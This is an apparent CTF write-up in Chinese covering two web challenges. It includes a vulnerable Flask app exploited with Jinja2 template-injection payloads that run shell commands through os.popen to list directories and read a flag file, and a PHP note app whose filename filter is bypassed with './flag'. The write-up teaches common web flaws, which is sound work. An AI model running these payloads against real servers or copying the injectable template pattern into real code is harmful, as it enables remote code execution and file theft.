0%

Web

Jungle Templating

初步发现本题是SSTI 模板注入漏洞,查看一下配置文件

image-20220722165345078

证明猜测没错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from flask import *
app = Flask(__name__)

@app.route('/',methods=['GET', 'POST'])
def base():
person = ""
if request.method == 'POST':
if request.form['name']:
person = request.form['name']
palte = '''
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Secure Search</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous">
</head>
<body>
<h1 class="container my-3">Hi, %s</h1>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0-beta1/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script>
<div class="container my-3">
<form action="/" method="post">
<div class="mb-3">
<label for="text" class="form-label">Type your name here:- </label>
<input type="text" class="form-control" name="name" id="text" value="">
</div>
<button type="submit" class="btn btn-primary">See magic</button>
</form>
</div>
</body>
</html>'''% person
return render_template_string(palte)

if __name__=="__main__":
app.run("0.0.0.0",port=5000,debug=False)

通过源码可知,可控变量为name,传参的方法为post

直接payload

1
name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

查看一下根目录

image-20220722164023353

根据经验来看,flag很有可能藏在var/www/html中

payload

1
name={{ config.__class__.__init__.__globals__['os'].popen('ls /var/www/html').read() }}

查看一下,flag真的在里面

image-20220722164944877

直接payload

1
name={{ config.__class__.__init__.__globals__['os'].popen('cat /var/www/html/flag').read() }}

image-20220722165127361

Awesome Note Keeping

进去之后发现是这个页面

image-20220722170403817

查看一下源码

image-20220722170440954

根据提示得到了一个较为全面的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<!DOCTYPE html>
<html>

<head>
<title>Awesome Note Keeping</title>
</head>

<body style="padding: 100px; background: #000000; color: #09b576">

<h1>Welcome to Awesome Note Keeping</h1>
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
if (isset($_POST["note"]) && isset($_POST["note_title"])) {
if (empty($_POST["note"]) || empty($_POST["note_title"])) {
echo "All fields are required.";
} else if (strlen($_POST["note_title"]) >= 13) {
echo "Note title is too long.";
} else if (strlen($_POST["note"]) >= 40) {
echo "Note is too long.";
} else {
$note_title = str_replace("flag", "", $_POST["note_title"]);
if (!empty($note_title)) {
if (file_exists($note_title . ".txt")) {
echo "There is already a note with that title and the note is <br>";
$note_title = str_replace("flag", "", $note_title);
$myNote = fopen($note_title . ".txt", "r");
echo fread($myNote, filesize($note_title . ".txt"));
fclose($myNote);
} else {
$myNote = fopen($note_title . ".txt", "w");
fwrite($myNote, $_POST["note"]);
fclose($myNote);
echo "Your note has been saved.";
}
} else {
echo "Sorry ! You can't create flag note.";
}
}
}


if (isset($_GET["note_title"]) && !empty($_GET["note_title"]) && $_GET["note_title"] != "flag") {
if (file_exists($_GET["note_title"] . ".txt")) {
$myNote = fopen($_GET["note_title"] . ".txt", "r");
echo fread($myNote, filesize($_GET["note_title"] . ".txt"));
fclose($myNote);
} else {
echo "Sorry ! Couldn't find any note with that title.";
}
}

?>
<br>
<h5>Create a Note</h5>
<form action="" method="POST">
<table>
<tr>
<td><label>Note Title : </label></td>
<td><input type="text" name="note_title" /></td>
</tr>
<tr>
<td><label>Note : </label></td>
<td><textarea name="note"></textarea></td>
</tr>
</table>
<input type="submit" value="Save" />
</form>

<h5>Read a Note</h5>
<form action="" method="GET">
<table>
<tr>
<td><label>Note Title : </label></td>
<td><input type="text" name="note_title" /></td>
</tr>
</table>
<input type="submit" value="Read" />
</form>
<!-- Hi Seli, I have created this awesome note keeping web app today. I have saved a backup file index.php.bak for you. Download it and check it out. -->
</body>

</html>

审计一下意思大概就是,可以在Creat a Note框内创建一个标题并且写入内容,保存之后可以在Read a Note框中通过查询Title查看已经保存的内容,但是无法创造和查询到flag标题

原因就是直接查询flag会被空格替换掉

1
$note_title = str_replace("flag", "", $_POST["note_title"]);

image-20220722171230563

但是可以知道的是,flag已经被保存了

直接payload

1
http://206.189.236.145:9000/?note_title=./flag

image-20220722171446478